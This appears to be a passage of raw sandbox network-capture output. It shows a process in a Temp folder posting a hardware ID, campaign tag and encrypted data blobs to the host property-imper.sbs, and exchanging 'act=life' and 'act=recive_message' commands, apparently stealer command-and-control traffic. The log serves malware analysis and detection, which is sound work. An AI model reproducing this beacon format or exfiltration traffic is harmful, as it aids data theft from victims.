2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 2d 2d 42 48 57 48 4d 50 57 53 47 42 58 59 46 33 58 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 46 41 39 43 46 43 43 45 39 46 31 41 44 44 32 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 48 57 48 4d 50 57 53 47 42 58 59 46 33 58 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 48 57 48 4d 50 57 53 47 42 58 59 46 33 58 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --BHWHMPWSGBXYF3XDContent-Disposition: form-data; name="hwid"9FA9CFCCE9F1ADD2D7CBBD6DF28D3732--BHWHMPWSGBXYF3XDContent-Disposition: form-data; name="pid"1--BHWHMPWSGBXYF3XDContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 38 5f 37 62 fd 73 47 b3 4f d5 60 e0 db 76 71 25 eb 7a 8c a4 5e 3d 46 c5 cf 8a b2 b8 fc b9 0f ea 94 d9 b1 08 ec 5d 55 d1 82 42 94 e8 8c 1a fa 16 26 00 0e 87 7d 9e 06 a8 dc 45 69 97 bd f9 2d 89 c6 b9 ef 6e d3 d6 76 0c c8 c7 fb 57 a0 19 75 f3 7f 05 46 44 38 63 fa a6 38 26 69 3c 0b 4d 42 86 05 51 e6 2e 10 97 9f d6 19 ab 72 18 d3 1f 7e 31 67 6c b0 20 01 be 45 0a 27 4c 88 81 4b d2 19 e6 61 d0 dc 52 89 4f bd 9d 8c bf c2 92 5d e4 f1 b0 c4 2a e9 09 5b 01 ef 9a 1d 39 e8 f8 28 71 62 2b 19 65 1c d7 e1 14 13 9d ba 91 65 11 c8 16 dd 75 e0 e4 f9 23 2e 35 7c fb a8 79 1a 4f f8 9a 74 d2 3d 05 6d 55 98 be f8 5b 92 40 31 6c be d9 11 82 db 8f fb 3b 07 64 0d 17 3c f7 9e b4 f8 e5 3f 56 7b 06 03 54 7e d7 64 b0 8b 30 8b 56 f6 41 e9 5b 63 e5 93 52 00 81 ce 43 c9 8c 3b 87 92 25 80 Data Ascii: 8_7bsGO`vq%z^=F]UB&}Ei-nvWuFD8c8&i<MBQ.r~1gl E'LKaRO]*[9(qb+eeu#.5\|yOt=mU[@1l;d<?V{T~d0VA[cRC;%
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 1b 83 81 a7 d7 0a 85 29 81 9c 6b f7 08 8c dd 27 bb da 54 8d d0 ed 77 64 7c 70 1c 16 c7 15 22 b4 4a 82 8b 3d 65 99 d6 98 5a 37 2a 6c 1a 27 6c 5a 99 d7 4a ae 35 56 c3 8c 1a 1c d7 8b 33 fe b7 67 99 d6 1c 6e 13 3e fb da 26 37 57 1c a2 ee 20 c4 4b 46 4d 6e 47 dd 78 3c 15 b1 fc 64 a4 e4 c9 8d aa fe a1 5b 03 b4 b2 29 36 b9 5d 4a d0 4b 12 9c ed 1d 5c 97 3b 32 75 96 a7 11 0f 9f 7e e8 ce f2 96 00 cc 2d c5 ca fe 12 de a1 75 76 ed 35 88 a0 cb a8 e9 7d 64 de 29 c8 2c 6c 35 29 87 b2 5f d1 1f f9 30 1f 19 58 fb af 68 31 04 80 8c 27 6e dc 8b 59 20 00 62 d9 48 25 2d e4 c9 81 7c 91 f9 79 88 a9 25 00 9a 7f 67 2f 48 e5 1c f9 fd 2e 76 01 55 34 1d e9 44 c5 f2 b0 16 b1 cf 43 69 14 81 aa 38 bd 3e 0c 40 2d 75 4c 65 f9 f3 f6 cd ac bf f1 e4 1b 2f 97 6b 01 82 57 49 67 81 d9 5e 6a 0e Data Ascii: )k'Twd\|p"J=eZ7*l'lZJ5V3gn>&7W KFMnGx<d[)6]JK\;2u~-uv5}d),l5)_0Xh1'nY bH%-\|y%g/H.vU4DCi8>@-uLe/kWIg^j
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 12 f1 5a 02 25 9d 44 83 61 d3 7f 4d 15 92 9f a0 92 83 9a a3 7d 69 65 7a 4c 24 45 82 ff a0 fa fe b5 de e4 40 3e 58 a5 28 d4 e5 7c c9 9b fe e8 0c 73 39 67 cb d5 65 5d 6d b0 8a 93 04 1f 9c d4 eb 07 45 06 d3 3c 60 ed b7 fe 2b f2 fc 08 ff 4f 0a d5 1d 3a 41 36 64 99 91 1c 64 c1 b4 67 b4 42 1a a2 57 85 ed a5 40 27 f2 34 fd f6 f3 4e de c2 4e e7 3b fe 36 3b 27 72 87 6d 63 7a 02 f4 aa d3 54 e4 13 e1 9b 00 94 4f 47 da b3 e7 53 04 35 ec bf e2 95 25 85 c5 fb c4 9d 62 8d 91 ff 58 db b2 f6 a3 23 65 7f 2d ca f1 99 d9 97 ef db f0 ed 32 4e a0 d8 75 9b c5 b7 56 ab 37 bd 13 2c 37 fe da f3 75 a4 a9 cc ed 24 3b d6 ad db 86 c9 4d 63 3d 5f 68 49 55 00 69 1d f9 71 4e 48 86 0f 48 c4 e4 8f ab ec 46 7b e0 85 23 72 42 2e f3 fc 01 27 41 01 8b 77 f6 b0 51 af 04 38 6e fa e5 73 20 f0 0b Data Ascii: Z%DaM}iezL$E@>X(\|s9ge]mE<`+O:A6ddgBW@'4NN;6;'rmczTOGS5%bX#e-2NuV7,7u$;Mc=_hIUiqNHHF{#rB.'AwQ8ns
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 60 5f 2a bf 37 22 73 93 2a b2 f3 66 d3 5a 41 3e 37 b6 f2 dd c0 63 82 03 a6 c8 cf 24 44 6e 23 bb a6 b5 58 8f 93 3d c4 c3 2d 81 65 a1 3c 41 0e ca cf 9e 38 d4 85 0d a1 4e dc ab e8 97 4d 8e 8c c3 86 5d 22 65 a7 91 3f 88 ea 94 dd 15 ef 56 16 6c d0 74 68 7c 90 f7 2c c5 c6 ad a0 92 4f 78 f0 87 68 1b e5 63 d4 49 b7 e7 21 fc c3 fb 84 f0 07 73 27 b8 da 2c b4 0b ba 38 9a a5 66 61 57 51 b3 47 f1 eb bc 9f eb c7 99 bc a3 52 9e e0 03 02 41 09 16 12 90 03 32 38 2e 76 94 d9 71 bb 83 43 fd 75 83 fb 67 88 cb 2f 31 68 4a 86 63 3e c5 a3 dc 39 4b 80 84 46 96 20 40 41 08 b8 0d d8 f6 3b 56 47 e9 bc b1 0c e1 7f 2b 88 69 3c 20 c7 92 aa fd 77 29 71 95 1a 1b b7 5c 61 7f 85 b5 03 81 ac 59 50 22 ad 4d be c6 8e ef 6c b8 1d bd f0 8d 0f f4 21 03 1e 6c 96 49 03 af 17 ec 19 fe 8c 93 fd 1f Data Ascii: `_7"sfZA>7c$Dn#X=-e<A8NM]"e?Vlth\|,OxhcI!s',8faWQGRA28.vqCug/1hJc>9KF @A;VG+i< w)q\aYP"Ml!lI
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 17 f7 36 41 f3 fc ae 86 8b 94 2a 74 99 50 9a af 8b 00 46 1d 94 de 20 3f 8a 6b 61 2e 45 79 d4 71 a4 aa f6 69 66 6a ad a2 45 85 22 16 9d 86 00 ed 02 3c 1c 63 22 12 8c 96 48 b9 47 dd d3 a7 16 de 75 2b 01 e6 69 f8 fe 8f 41 f2 d8 ed 92 e9 0d 29 b1 bc d0 45 d2 3b 62 7e da 63 b6 31 75 37 be 46 ab bf c2 d7 6d 6d 6b b6 c8 cc e1 98 f7 bd c0 1a ae 7d a9 5f 47 94 47 8f f7 87 e3 d5 07 39 7f 97 b2 e6 a4 91 dc fa 9b 27 42 eb 6e 17 50 9b 66 5a f3 9c 87 f6 02 7a ab 7e c4 04 5d 81 48 cf e4 2d 3d cd 68 43 b1 bf c5 72 19 cd 26 35 73 e9 46 fa 75 45 03 7c bf bf a2 41 c9 17 62 c2 60 96 08 59 09 3d 85 65 62 09 f9 63 11 9c 09 34 df c5 ab 4f d3 7c ee 9e 2a 1e 10 7b 10 c9 2c b9 ee b6 87 f2 6f 61 9f ce 3b 59 1f 60 2b 8c c3 62 e1 91 82 60 9d 25 1e 9e da 3e 41 f6 4d 31 a1 b8 88 9f bb Data Ascii: 6AtPF ?ka.EyqifjE"<c"HGu+iA)E;b~c1u7Fmmk}_GG9'BnPfZz~]H-=hCr&5sFuE\|Ab`Y=ebc4O\|{,oa;Y`+b`%>AM1
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 2a e7 f6 c3 55 ff 32 8c df 73 eb b7 22 72 50 4b 5d 58 ad 17 0a 33 ec dc f1 36 c9 e8 f6 fd b8 0a 6c 93 8b f3 e9 34 72 ca 92 e5 24 eb 8a 5b ed 1b c3 2e 15 7a ee 92 01 e7 37 96 23 a3 83 54 8e bd a3 35 be 88 da e8 d8 cc 5b 20 99 18 87 bf 9c 02 e8 18 15 d0 c5 d4 88 09 88 32 f2 66 bc 40 a5 50 8a cd 67 40 17 63 0a 08 1e 05 0e a9 59 f0 40 10 34 5d e5 4c 4d a9 cc 59 c7 65 9b 18 19 e6 09 d1 54 01 19 32 a4 91 90 e4 82 0e 84 ed 5d 57 e2 37 13 9f 80 7b 0c 5b b4 09 b1 f9 27 61 52 ec f4 78 ad 38 20 42 99 d1 21 f1 ef 15 4b 7b 8d 8d a2 8c 04 78 40 40 79 41 ab e1 cd 8f da 63 c8 d3 da 59 26 e4 8c 59 f7 dc 86 98 78 3c 2b d8 62 20 6a 48 f1 9b e6 4f 31 82 49 ed ae fe ea 76 94 36 8c 27 d1 bd 48 32 cd 10 03 d9 be 09 9f 32 da 3b 8b fc 2c 4b ce 4c 18 7d 59 68 1a b6 a3 04 20 30 6a Data Ascii: *U2s"rPK]X36l4r$[.z7#T5[ 2f@Pg@cY@4]LMYeT2]W7{['aRx8 B!K{x@@yAcY&Yx<+b jHO1Iv6'H22;,KL}Yh 0j
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 3f eb 31 44 cd da 7c 87 3a db 26 b1 e4 da 58 10 f6 e5 9e dd 66 62 dd d0 47 28 30 cf c9 a6 02 25 e3 ee 58 fc 1c da d1 cb 5a a8 c3 b7 9f 7e 76 2f 41 21 66 8b ee ba 30 6c f7 a5 f6 71 c9 93 36 ee f7 7f 90 d2 48 42 66 f5 e9 cc d0 03 59 fc 4d a3 fb 72 1b dc 90 90 0f 2f 83 3f a8 4b 7d b3 25 a8 56 bf 8d 3b 86 fa c2 10 e0 7c 39 b4 59 b0 37 f3 80 a9 74 90 d1 ea 6d f6 20 56 9c b4 a8 6f e9 c9 65 bf df 8b 32 68 68 94 b3 fc 5e 92 31 fc c0 7d ef c8 7f 93 75 9b 27 33 39 95 a1 3c ac f0 77 cf 38 27 fa c3 f0 b9 cf 61 13 3f 46 c3 ab 0f fa 58 8e d8 86 29 f5 4e 2e fc c2 01 c4 9e cd 32 a3 a5 fb 63 b2 6d e3 8a 11 93 96 4e 19 6d c1 93 37 36 0f 30 4e d5 70 4b 19 7a 4b e5 d5 d5 d4 51 26 20 1f cf 36 9c 0a ab 61 f6 71 07 eb 87 c3 5b 0f fc 76 4a 56 7b 32 4b ad 3d 15 22 44 fa 5e 2d dc Data Ascii: ?1D\|:&XfbG(0%XZ~v/A!f0lq6HBfYMr/?K}%V;\|9Y7tm Voe2hh^1}u'39<w8'a?FX)N.2cmNm760NpKzKQ& 6aq[vJV{2K="D^-
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: a2 42 d0 f0 e1 45 f7 8e 6f fc 0c 2f 39 38 15 a3 b3 d6 73 43 91 fa 01 14 f5 cb 32 da 23 10 d5 56 7b 89 33 80 c8 5d 65 8c f6 78 72 d5 55 40 1c 2d dc cb 79 fc 77 0c 0d 15 61 90 04 b7 5c 1b d7 aa 62 bd 05 ad 24 5b 08 f0 ae 07 59 75 11 2e d2 f5 b4 92 35 f1 8c e4 97 37 58 2f f8 8a 2e 9a a6 2e b1 df 69 d6 e9 21 66 f4 7e 39 53 40 98 34 6b ef 28 f7 99 a8 bd 9a 5e 73 19 29 f4 47 a9 28 b5 af d3 e2 b0 4b e7 fc 79 0e bb 82 81 99 af 64 fc e6 67 03 72 3d 5d 7b f2 eb d2 e9 21 f3 9b 1f 83 af 5a 11 59 eb 52 91 ce 05 99 66 74 29 e8 37 9b 94 80 d9 d4 29 32 85 df 8f 1f 55 ac 8c 0e 4f 83 dc ba 14 aa 06 c3 07 7f 40 1a c8 f6 da bb c5 1c ea 69 cd b8 50 7c 35 e5 0b 94 c7 b0 96 83 a3 10 7c 62 f8 9a 99 06 2e 0e 9e 8c f1 fd 89 48 8b 84 3d 38 1d f6 1a 39 55 4a 9c 22 1b 1b d6 da 39 98 Data Ascii: BEo/98sC2#V{3]exrU@-ywa\b$[Yu.57X/..i!f~9S@4k(^s)G(Kydgr=]{!ZYRft)7)2UO@iP\|5\|b.H=89UJ"9
2024-11-24 11:25:37 UTC	15331	OUT	Data Raw: 87 27 1b bd da 24 7e da af cf fb 4c 21 46 7a f6 91 34 95 85 b1 0e 70 1a d9 13 18 fe a4 9c 56 33 c2 b1 cf 37 1c c0 a1 fb fd bf 41 65 d3 a5 e6 97 e2 ed ab 89 85 43 78 d9 c8 e2 a2 27 7b 50 2c c9 ad bd 8d c8 ba 03 c7 42 de 90 44 43 ba 1f d2 16 06 72 1f 53 8a 46 f7 2c db e0 e7 5b a1 da 87 5e 83 6f aa 58 0d d7 32 43 ea 32 bb 40 77 df c1 67 d5 2e 43 20 ac 9b 80 01 13 91 93 b3 0f f9 05 8d 80 c1 a7 af bc 5d 02 75 01 c7 ec 97 e6 74 ea c3 e5 c8 a5 39 84 2f b1 ae 7a 59 bc ad 3c e6 19 0e de b2 eb 70 55 ac 62 e7 db da 07 a1 43 21 cc bc dd 3c 27 18 e6 76 99 fe 6b 57 30 fd bf 92 94 a0 ea 26 52 09 74 b4 52 12 35 d7 a0 0f 6d d5 4c 93 10 46 7c d0 56 45 ed 1c ab 55 68 5e fd e7 76 f3 a9 af de 2a 88 78 29 7a 69 e7 3a ec c7 7b 49 ae c8 aa 3f 22 7e e9 0f c4 09 cd b8 70 29 20 9b Data Ascii: '$~L!Fz4pV37AeCx'{P,BDCrSF,[^oX2C2@wg.C ]ut9/zY<pUbC!<'vkW0&RtR5mLF\|VEUh^v*x)zi:{I?"~p)
2024-11-24 11:25:43 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ff4mv4a127bqc8jtr670mth3r; expires=Thu, 20-Mar-2025 05:12:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nhw8Cv4WutQU0XcB4jYiPGeH%2FQGX1mfpO3DvTSC3NxUTRpaCTiGEVVjb9RN4lZMGOVCcmk6mKK4yQXBCFHHTUFONEycq3ZOzUa%2BDBvGb4oAMz7SVvM2gc8AcGjfkohTB2cyZGUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790a191b1b4352-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2343&sent=341&recv=603&lost=0&retrans=0&sent_bytes=2844&recv_bytes=583534&delivery_rate=1192323&cwnd=235&unsent_bytes=0&cid=8d08f0dce612b265&ts=5867&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49980	104.21.33.116	443	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 11:25:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 11:25:41 UTC	1010	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8t62efemossb62vbte02rr77tp; expires=Thu, 20-Mar-2025 05:12:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gy61i8886RHsr0TF0vKLwM0tRdjZvtOTXti4HkAizHc4xyjOh3bHwaXa8QpG3yNkpCL8KNazZLAWW3ooFGBqMQtkAq8UtPoad7d8uL4Hts13RelJ%2FLqgNSkuwUd6yjf8ObtAGOQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790a2c0ac78c06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1811&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1624930&cwnd=163&unsent_bytes=0&cid=b92e16f82e6cd6f7&ts=1046&x=0"
2024-11-24 11:25:41 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 11:25:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49994	104.21.33.116	443	4092	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 11:25:45 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 11:25:45 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-24 11:25:46 UTC	1023	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m9vb2m5pfqtuojpaih8c689das; expires=Thu, 20-Mar-2025 05:12:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jz4%2FxFmR0Zpc1WxJlkJ%2FdVrf%2BjoRzfXeu%2FNjquLEvLzMMnQMdm4ZBd6lY1C4RQsrETKJN85iBTlss2OQPN%2BLceNr6CSCsug2nKYL7c5GGYWth509tNelKVUwRoTkU%2FiW9xPW%2F%2FU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e790a48aad94210-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2014&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=955&delivery_rate=1403171&cwnd=243&unsent_bytes=0&cid=d602a41fcb1ec958&ts=721&x=0"
2024-11-24 11:25:46 UTC	346	IN	Data Raw: 63 63 30 0d 0a 4e 70 2b 45 4c 6c 6c 79 33 43 46 4c 34 7a 58 6a 31 6b 58 7a 4b 2b 75 35 48 41 74 66 44 50 39 4b 55 62 34 46 57 35 62 4d 4e 44 4e 4e 76 66 49 4d 59 30 62 77 41 7a 69 47 46 39 6d 69 4e 34 5a 4f 78 35 74 39 62 33 30 32 6d 53 73 39 7a 57 42 33 74 4c 70 5a 45 51 7a 35 35 55 49 71 46 2f 41 44 4c 70 73 58 32 59 30 2b 30 55 36 46 6d 79 59 70 4f 6d 61 64 4b 7a 33 63 5a 44 44 35 76 46 68 51 58 76 50 6a 52 6a 77 52 75 45 41 6e 6a 6c 43 47 73 79 53 5a 52 59 4c 55 64 47 5a 39 49 4e 30 76 4b 35 77 2f 65 64 75 70 51 46 4a 37 2f 76 64 46 65 77 2f 77 57 6d 6d 47 57 38 48 73 5a 35 4a 4f 69 64 56 36 62 7a 52 6b 6c 79 49 31 33 57 45 78 35 71 56 53 57 31 37 39 34 45 63 32 47 4b 78 4e 4c 59 6c 62 67 4c 6b 6b 30 51 66 4a 33 47 59 70 5a 53 37 4f 47 6a 44 4e 64 69 Data Ascii: cc0Np+ELlly3CFL4zXj1kXzK+u5HAtfDP9KUb4FW5bMNDNNvfIMY0bwAziGF9miN4ZOx5t9b302mSs9zWB3tLpZEQz55UIqF/ADLpsX2Y0+0U6FmyYpOmadKz3cZDD5vFhQXvPjRjwRuEAnjlCGsySZRYLUdGZ9IN0vK5w/edupQFJ7/vdFew/wWmmGW8HsZ5JOidV6bzRklyI13WEx5qVSW1794Ec2GKxNLYlbgLkk0QfJ3GYpZS7OGjDNdi
2024-11-24 11:25:46 UTC	1369	IN	Data Raw: 51 79 39 34 45 49 36 48 62 35 52 49 59 70 63 68 4b 59 73 6d 45 53 45 32 33 4e 6a 4d 6d 32 64 4c 7a 6e 57 61 44 50 77 6f 31 74 58 56 50 32 6d 41 6e 73 58 70 67 4e 78 77 58 53 45 70 43 43 64 58 38 76 68 50 6e 5a 7a 64 39 30 76 50 35 77 2f 65 66 79 72 56 56 4a 66 38 75 56 45 4d 41 4b 2b 55 53 2b 4d 55 70 4f 79 49 70 39 44 69 73 6c 30 5a 7a 74 74 6c 43 4d 36 32 57 41 39 74 4f 41 57 56 6b 79 39 76 67 77 61 48 62 56 50 49 35 5a 58 77 61 74 70 69 41 6d 4f 31 7a 34 78 66 57 71 63 4c 44 4c 59 61 54 66 77 6f 6c 42 66 57 66 4c 67 52 6a 73 58 74 45 73 68 67 46 71 4b 75 79 65 55 52 49 33 64 63 6d 67 34 4c 74 4e 6f 4e 4d 51 6e 59 62 53 41 55 56 4a 47 76 39 4e 50 4e 52 36 35 56 57 6d 65 47 5a 6a 30 49 4a 30 4a 30 5a 74 77 62 44 4a 38 6e 44 6f 32 30 6e 55 31 38 61 68 62 Data Ascii: Qy94EI6Hb5RIYpchKYsmESE23NjMm2dLznWaDPwo1tXVP2mAnsXpgNxwXSEpCCdX8vhPnZzd90vP5w/efyrVVJf8uVEMAK+US+MUpOyIp9Disl0ZzttlCM62WA9tOAWVky9vgwaHbVPI5ZXwatpiAmO1z4xfWqcLDLYaTfwolBfWfLgRjsXtEshgFqKuyeURI3dcmg4LtNoNMQnYbSAUVJGv9NPNR65VWmeGZj0IJ0J0ZtwbDJ8nDo20nU18ahb
2024-11-24 11:25:46 UTC	1369	IN	Data Raw: 4e 50 4e 52 36 35 56 57 6d 65 47 5a 6a 30 49 4a 30 4a 30 5a 74 79 59 44 31 6c 6c 79 77 7a 32 32 6f 38 39 36 6c 56 58 46 50 33 36 45 73 2f 48 4c 64 4f 4c 34 46 51 68 62 45 31 6c 45 43 46 31 7a 34 6e 66 57 6d 46 61 47 75 63 53 44 37 69 72 58 6c 53 52 66 53 6d 55 33 55 4a 2f 6b 51 6c 77 51 2f 42 73 79 4b 5a 51 6f 2f 54 66 6e 73 34 59 4a 59 70 4f 64 70 6d 4e 50 69 6f 56 6c 42 55 2b 2b 70 4d 50 42 65 73 55 53 79 48 52 59 76 30 61 64 46 4f 6b 5a 73 6d 4b 51 74 2b 69 6a 6b 6c 6e 6c 49 36 2b 71 42 52 52 78 54 69 71 46 56 37 46 37 49 44 63 63 46 63 67 62 67 67 6d 55 2b 4e 30 33 46 6d 4e 48 79 63 4a 44 33 4f 59 44 6e 39 6f 46 6c 64 58 66 44 68 51 54 41 61 73 30 63 75 67 42 66 50 39 43 43 4a 43 64 47 62 53 48 6b 77 59 72 4d 6a 50 39 55 6e 4a 72 71 33 46 6c 5a 59 76 Data Ascii: NPNR65VWmeGZj0IJ0J0ZtyYD1llywz22o896lVXFP36Es/HLdOL4FQhbE1lECF1z4nfWmFaGucSD7irXlSRfSmU3UJ/kQlwQ/BsyKZQo/Tfns4YJYpOdpmNPioVlBU++pMPBesUSyHRYv0adFOkZsmKQt+ijklnlI6+qBRRxTiqFV7F7IDccFcgbggmU+N03FmNHycJD3OYDn9oFldXfDhQTAas0cugBfP9CCJCdGbSHkwYrMjP9UnJrq3FlZYv
2024-11-24 11:25:46 UTC	187	IN	Data Raw: 52 73 45 77 6f 68 56 4b 45 73 43 43 56 54 34 61 62 4d 43 6b 36 64 74 31 77 63 2f 4e 41 44 4c 61 50 62 42 46 4c 73 2f 38 4d 50 42 7a 2b 47 32 6d 4e 56 49 32 38 4b 4a 64 41 68 64 46 33 59 6a 46 6c 6d 53 51 36 32 57 45 34 38 61 74 58 56 56 6a 33 34 45 38 34 48 37 46 4d 49 63 45 5a 77 62 4d 2f 30 52 48 4a 2f 6d 6c 69 4d 32 6a 64 4e 33 33 46 4a 7a 37 34 37 67 34 52 57 50 54 67 53 6a 34 63 76 30 55 68 68 46 2b 46 74 53 47 58 53 6f 62 66 65 32 67 79 61 70 45 6d 4f 64 31 6d 4e 66 2b 68 58 56 51 55 73 36 5a 4c 49 31 44 6d 41 78 69 43 51 5a 61 6b 4b 39 46 57 0d 0a Data Ascii: RsEwohVKEsCCVT4abMCk6dt1wc/NADLaPbBFLs/8MPBz+G2mNVI28KJdAhdF3YjFlmSQ62WE48atXVVj34E84H7FMIcEZwbM/0RHJ/mliM2jdN33FJz747g4RWPTgSj4cv0UhhF+FtSGXSobfe2gyapEmOd1mNf+hXVQUs6ZLI1DmAxiCQZakK9FW
2024-11-24 11:25:46 UTC	1369	IN	Data Raw: 33 37 61 63 0d 0a 78 38 49 2b 62 6a 45 75 78 57 67 79 7a 6d 30 7a 2b 71 74 5a 56 46 66 79 34 55 45 39 48 4c 52 4b 49 59 64 59 69 4b 59 6b 6e 55 65 4f 31 58 4a 6e 4d 47 53 65 4a 58 4f 53 4a 7a 37 73 37 67 34 52 65 50 72 72 59 6a 41 63 75 51 4d 32 7a 30 37 42 73 79 76 52 45 63 6e 58 64 47 55 30 62 70 51 74 4f 39 64 75 50 50 57 6c 55 31 4a 53 38 4f 6c 46 4b 52 71 39 54 53 71 4e 57 34 65 31 4a 49 4e 42 67 4a 73 77 4b 54 70 32 33 58 42 7a 2f 57 6b 30 34 4b 6c 47 45 55 75 7a 2f 77 77 38 48 50 34 62 61 59 4a 57 6a 72 63 6d 6e 45 2b 41 30 33 35 76 4f 47 47 51 4a 6a 54 62 5a 7a 54 36 6f 56 42 5a 57 66 48 74 51 6a 49 57 76 6b 49 6a 77 52 6e 42 73 7a 2f 52 45 63 6e 72 66 57 6b 39 64 64 30 33 66 63 55 6e 50 76 6a 75 44 68 46 47 39 2b 39 4d 4f 42 2b 35 52 79 4b 4e 55 Data Ascii: 37acx8I+bjEuxWgyzm0z+qtZVFfy4UE9HLRKIYdYiKYknUeO1XJnMGSeJXOSJz7s7g4RePrrYjAcuQM2z07BsyvREcnXdGU0bpQtO9duPPWlU1JS8OlFKRq9TSqNW4e1JINBgJswKTp23XBz/Wk04KlGEUuz/ww8HP4baYJWjrcmnE+A035vOGGQJjTbZzT6oVBZWfHtQjIWvkIjwRnBsz/REcnrfWk9dd03fcUnPvjuDhFG9+9MOB+5RyKNU
2024-11-24 11:25:46 UTC	1369	IN	Data Raw: 48 43 5a 61 56 5a 79 6b 36 59 74 31 77 63 39 31 72 4e 76 65 68 56 56 4a 56 39 2f 52 65 4e 78 6d 32 52 69 57 4b 57 59 65 6d 49 5a 35 41 69 74 68 33 62 6a 56 69 6c 79 73 30 6e 43 6c 35 38 37 59 57 43 52 54 65 38 56 77 32 55 4b 45 4e 4d 4d 46 51 6a 66 52 2f 30 55 47 45 30 33 52 74 4f 6d 4f 61 4c 6a 72 4f 62 6a 7a 36 72 6c 4a 61 57 2f 76 69 54 7a 73 43 75 45 63 68 67 6c 71 4d 75 69 53 56 43 63 65 62 65 58 46 39 4e 74 30 61 50 74 4a 38 4e 76 4f 2f 58 42 46 4c 73 2f 38 4d 50 42 7a 2b 47 32 6d 46 57 5a 4f 2f 4a 70 70 43 68 39 78 78 62 44 64 75 6b 69 77 77 30 6d 77 34 39 36 5a 62 58 